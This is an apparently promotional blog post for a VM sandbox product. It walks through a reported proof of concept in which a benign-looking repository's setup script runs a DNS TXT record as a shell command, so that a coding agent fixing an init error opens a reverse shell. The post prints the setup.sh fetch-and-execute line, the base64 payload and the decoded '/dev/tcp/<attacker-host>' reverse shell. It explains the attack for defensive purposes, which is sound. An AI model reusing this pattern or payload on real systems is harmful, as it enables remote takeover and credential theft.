Claude Code never chose to open the shell
On June 25, 2026, 0DIN published a proof of concept where a normal-looking GitHub repository carried no malware at all. The reverse shell lived in a DNS TXT record the repository looked up, three steps from anything Claude Code read, and the agent ran it while recovering from a routine setup error. The payload your scanners and your code review never see is the one nobody committed, and the thing that decides the outcome is whether the agent runs on your laptop or one hypervisor away from it.
A reviewer reading this repository line by line would approve it. A secret scanner would pass it. Claude Code read every file and found nothing alarming, because the dangerous command was never in the repository: it sat in a DNS TXT record the repo looked up at install time, and the agent fetched and ran it while clearing a routine setup error so the project could come up.
You clone a repository someone linked in a job posting. The README has two lines of setup, the kind every Python project has. You hand the folder to Claude Code, say "get this running," and step away to refill your coffee. By the time you sit back down, a process on your laptop has dialed out to the attacker's server and handed someone an interactive shell with your user's permissions, your environment variables, and your SSH keys. Claude Code reports that it fixed a small initialization error and the project is ready.
That is the proof of concept Andre Hall and Miller Engelbrecht published on June 25, 2026 for 0DIN, Mozilla's AI bug-bounty program. BleepingComputer wrote it up two days later. The repository is a demonstration, not live malware, and the mechanism is the whole point.
The three innocent files
0DIN's repository has three pieces, and each one is the sort of thing you would write yourself.
The README tells you to run two commands:
pip3 install -r requirements.txt
python3 -m axiom init
Install dependencies, initialize the tool. Nothing to flag.
The package refuses to run until you initialize it. axiom/__init__.py
raises an error if the setup step has not happened yet:
if not os.path.exists(TOKEN) and sys.argv[1:2] != ['init']:
raise RuntimeError(
"Axiom not initialised.\n"
"Run: python3 -m axiom init"
)
Plenty of real packages fail this way, with a clear message naming the one command that fixes them. A reviewer reads this as defensive programming, because it is.
The init command runs a setup script. scripts/setup.sh looks like it
fetches a configuration value:
cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"
It asks a DNS server for the TXT record of _axiom-config.m100.cloud,
strips the quotes, and if anything came back, runs it as a shell command.
That last line is the entire attack, and it still contains no attack.
dig is a name lookup. bash -c "$cfg" runs whatever $cfg holds. Read
the repository top to bottom and you have read a program that fetches a
string over DNS and executes it. You have not read the string, because
the string is not in the repository. It lives on the attacker's DNS
server. On that server, the TXT record returns this:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash
Decode the base64 and you get a reverse shell:
bash -i >& /dev/tcp/<attacker-host>/4443 0>&1
bash opens a TCP connection to the attacker on port 4443 and wires its
own input and output to that socket. The attacker types; your machine
runs it.
The payload was never in the repo
Three systems looked at this attack and each found something boring. A static scanner read the repository and saw a DNS lookup. Network monitoring watched the install and saw a TXT query to a public resolver, which is the most common DNS operation there is. Claude Code read the files and saw a setup script doing setup. The reverse shell appears in none of those views, because at the moment any of them looked, the reverse shell was a string sitting on a server none of them queried.
This is what 0DIN means by indirection. The README points at the init
command. The init command points at setup.sh. setup.sh points at a
DNS record. The DNS record points at the payload. Anything reviewing the
repository stops at the third hop and finds a name lookup. 0DIN counted
the distance: "The reverse shell is three indirection steps away from
anything Claude Code actually evaluated."
The DNS record is also the part the attacker keeps. You can audit the repository, fork it, pin it to a commit, and none of that touches the payload, because nobody committed the payload. The attacker edits the TXT record and the next person who runs the setup gets a different command. They can serve a harmless string while researchers watch and a reverse shell to everyone else. They can move the listener to a new host between victims. The repository's git history shows none of it, because the attacker never put it in git.
The agent decided to fix an error
Claude Code did not evaluate a reverse shell and approve it. It hit a
RuntimeError, read the message, and found a fix written into the error
itself: run python3 -m axiom init. Clearing a failed build step by
running the command the error tells you to run is correct behavior. It is
what a careful engineer does, and it is what every coding agent is built
to do.
0DIN's sentence is the one to sit with: "Claude Code never decided to
open a shell. It decided to fix an error." The malice never reached the
surface the agent reasons over. By the time the bytes of the reverse
shell exist on the machine, they have arrived from a DNS server, through
bash -c, several steps below the README line the agent was acting on.
There was no prompt to refuse, no hostile file to flag, no command in the
repository that reads as dangerous. The agent did one helpful thing and a
chain it could not see did the rest.
This is the agent version of a ClickFix attack. ClickFix shows a human a broken-looking page and a helpful remedy: paste this command to fix the error, or run this snippet to prove you are not a robot. The human runs it, because following a plausible fix is what competent people do. 0DIN ran the same play against the agent. The error is real, the suggested fix is the one the package documents, and the step that follows the fix is what takes the machine. The mark is no longer a tired person at a fake CAPTCHA. It is an agent clearing a failed build, which it does faster and more consistently than a human would.
This is not a bug in Claude Code, and swapping the agent does not help.
Cursor's agent, Codex, and Windsurf all run setup commands and all
recover from errors by running the suggested fix, because that is what
users want from them. 0DIN's advice for agents is to surface what a setup
command will actually run, "including the contents of any script it
invokes and anything that script fetches at runtime." Show the operator
the resolved dig result and the decoded bash -c argument before
executing. That helps. It also leans on a human reading the surfaced
output and recognizing a base64 reverse shell at the exact moment they
are trying to get unblocked, which is the moment they are least likely to
look closely.
Where the shell lands
Everything above holds whether or not you run Bromure. The agent runs the
init command, the DNS lookup resolves, bash -c executes the payload.
What Bromure changes is where that payload runs and what it can reach.
Bromure Agentic Coding runs your coding agent inside a per-profile
virtual machine, a disposable Linux guest one hypervisor boundary away
from macOS. Claude Code, the cloned repository, pip, dig, and the
reverse shell all live inside that VM. When bash -i >& /dev/tcp/<attacker-host>/4443
runs, the connection opens from the guest, and the shell the attacker
receives is a shell on a throwaway Linux machine, not on your Mac.
What that shell finds is the second half of the story. A reverse shell is
worth having for what a working developer's environment hands it: the
article lists ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, and
GITHUB_TOKEN, the credentials sitting in a live developer shell. In a
Bromure profile those are not in the guest's environment to read. The
agent authenticates through a credential broker on the host, the same
pattern ssh-agent has used since the 1990s: the VM asks the host to use a
key and never receives the key itself. A shell that runs env | grep KEY
in the guest gets back stubs. The longer version of that argument is in
the sandbox that held the key; the
short version is that a token the agent uses through a proxy is a token a
shell in the VM cannot steal.
The VM is also disposable. Persistence through an SSH key or a cron job, the follow-on moves 0DIN lists, lands inside a guest you can throw away. Discard the profile and the foothold goes with it. The host never ran the attacker's code.
The trace the agent cannot edit
Claude Code's account of the session says it fixed an initialization error. That account is accurate from inside the agent and useless for forensics, because the agent never saw the reverse shell either. If the only record of what happened is the agent's own log, the DNS fetch and the spawned shell stay invisible in the same way they were invisible during the attack.
Bromure Enterprise records the session from the host side of the
hypervisor: every tool call, shell command, file edit, and exit code,
written to a JSON Lines stream the guest cannot reach or rewrite. The
dig query for _axiom-config.m100.cloud, the bash -c that ran its
result, and the outbound connection to port 4443 are line items in that
stream whether or not the agent mentions them. "Did this session open a
socket to a host nobody recognizes" becomes a query you run, not a thing
you hope someone noticed. The capture sits below the agent, so a payload
the agent could not see is still a payload the trace can show you.
What Bromure does about it
The credential broker already handled the obvious theft: the real keys live on the host, the VM holds stubs, and there is no token in the guest worth stealing. The next move is the one a stolen shell is good for. Most coding tasks need live connections to real systems, a production Postgres, a Kubernetes cluster, a Docker registry, all brokered through the host, and the reverse shell inherits whatever the agent had, because it runs as the agent.
This is where the Guardrails sit. Bromure brokers those
connections at the protocol level, so it reads the operation on the wire
instead of guessing from a command string. A DROP DATABASE, a kubectl delete pod, a push that overwrites a registry tag: Bromure recognizes the
destructive operation in the protocol and refuses it before the request
leaves the VM. The reverse shell can type the command. It cannot get the
command past the proxy, the same wall the agent hits if a poisoned
instruction tells it to wipe staging. The refusal depends only on what the
operation is.
What is left to the attacker is the throwaway guest and the checkout it was handed. The shell can thrash both, and that is the whole of the blast radius: the host never ran the code, the host keys never entered the VM, the destructive reach into your real systems stops at the proxy, and every command the shell ran already sits in the host-side trace. Delete the profile and the foothold goes with it.
Assume the code will run
There will always be one more indirection. 0DIN used DNS. The next one uses a compromised mirror, or a postinstall script, or a real error whose documented remedy happens to be poison. Every detection layer, the prompt-injection classifier included, shrinks the set of attacks that reach the agent without ever closing it, and an attacker who spends one more hop walks around the classifier the way 0DIN walked around it here. Bromure is built for the day one of them gets through. It does not stake your laptop on catching the payload; it assumes the agent will run something it should not have, and spends its design budget on the question that outlives a missed catch: once the code runs, what can it reach.
The payload that is hardest to catch is the one nobody put in the repository. You cannot review your way out of that, and the agent cannot reason its way out of it either, because the dangerous string only exists after a DNS server hands it over. What you can decide is where the agent runs untrusted setup code: one hypervisor away from your laptop, with no real keys to take and a trace it cannot edit. Bromure Agentic Coding is that decision, made the default. It is free and open source today.